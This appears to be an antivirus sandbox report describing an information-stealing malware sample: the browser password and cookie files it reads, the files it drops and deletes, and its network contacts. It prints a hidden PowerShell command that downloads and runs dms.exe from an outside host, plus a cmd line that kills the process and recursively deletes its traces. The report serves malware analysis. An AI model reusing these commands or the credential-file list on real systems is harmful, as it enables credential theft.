Technical Information
Malicious functions
Downloads and executes
- http://18#.#30.160.197/dms/dms.exe as %appdata%\dms.exe
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /pid 2284
Injects code into
the following user processes:
- dms.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %TEMP%\abdtfhghgdghghВќ.sct
- %ALLUSERSPROFILE%\992646459697447\screenshot.jpg
- %ALLUSERSPROFILE%\992646459697447\system.txt
- %ALLUSERSPROFILE%\992646459697447\cookies\mozilla firefox_gn7ryp3k.default.txt
- %ALLUSERSPROFILE%\992646459697447\temp-shm
- %ALLUSERSPROFILE%\992646459697447\temp
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\vcruntime140.dll
- %ALLUSERSPROFILE%\nss3.dll
- %ALLUSERSPROFILE%\msvcp140.dll
- %ALLUSERSPROFILE%\mozglue.dll
- %ALLUSERSPROFILE%\freebl3.dll
- %ALLUSERSPROFILE%\sqlite3.dll
- %ALLUSERSPROFILE%\softokn3.dll
- %APPDATA%\dms.exe
- %ALLUSERSPROFILE%\992646459697447\_9926464596.zip
- <Current directory>\~wrd0000.tmp
Deletes the following files
- %TEMP%\abdtfhghgdghghВќ.sct
- %ALLUSERSPROFILE%\992646459697447\temp
- %ALLUSERSPROFILE%\992646459697447\temp-shm
- %ALLUSERSPROFILE%\992646459697447\cookies\mozilla firefox_gn7ryp3k.default.txt
- %ALLUSERSPROFILE%\992646459697447\screenshot.jpg
- %ALLUSERSPROFILE%\992646459697447\system.txt
- %ALLUSERSPROFILE%\992646459697447\_9926464596.zip
- %ALLUSERSPROFILE%\sqlite3.dll
- %ALLUSERSPROFILE%\freebl3.dll
- %ALLUSERSPROFILE%\mozglue.dll
- %ALLUSERSPROFILE%\msvcp140.dll
- %ALLUSERSPROFILE%\nss3.dll
- %ALLUSERSPROFILE%\softokn3.dll
- %ALLUSERSPROFILE%\vcruntime140.dll
- %APPDATA%\dms.exe
Modifies the following files
Substitutes the following files
- %ALLUSERSPROFILE%\992646459697447\temp
- %ALLUSERSPROFILE%\992646459697447\temp-shm
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
Connects to
- '18#.#30.160.197':80
- '2.##.59.226':80
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%APPDATA%\dms.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://18#.#30.160.197/dms/dms.exe','%APPDATA%\dms.exe');Start-Process '%APPD...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /pid 2284 & erase %APPDATA%\dms.exe & RD /S /Q C:\\ProgramData\\992646459697447\\* & exit' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /pid 2284 & erase %APPDATA%\dms.exe & RD /S /Q C:\\ProgramData\\992646459697447\\* & exit
